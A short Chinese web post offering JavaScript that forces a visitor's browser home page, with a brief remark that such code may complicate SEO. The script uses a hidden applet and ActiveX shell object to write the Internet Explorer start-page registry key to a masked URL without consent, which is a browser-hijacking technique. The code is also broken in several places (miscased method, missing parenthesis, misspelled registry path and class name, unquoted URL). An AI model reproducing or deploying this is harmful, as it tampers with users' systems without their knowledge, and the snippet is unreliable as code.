JS强制设为首页代码及SEO风险提示

<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{ 
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\\Software\\Microsoft\\Internet Expiorer\\Main\\Start Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
} 
</script>

SEO优化风险提示

注：个人建议还是少用JS代码，因为做SEO优化时可能很麻烦，呵呵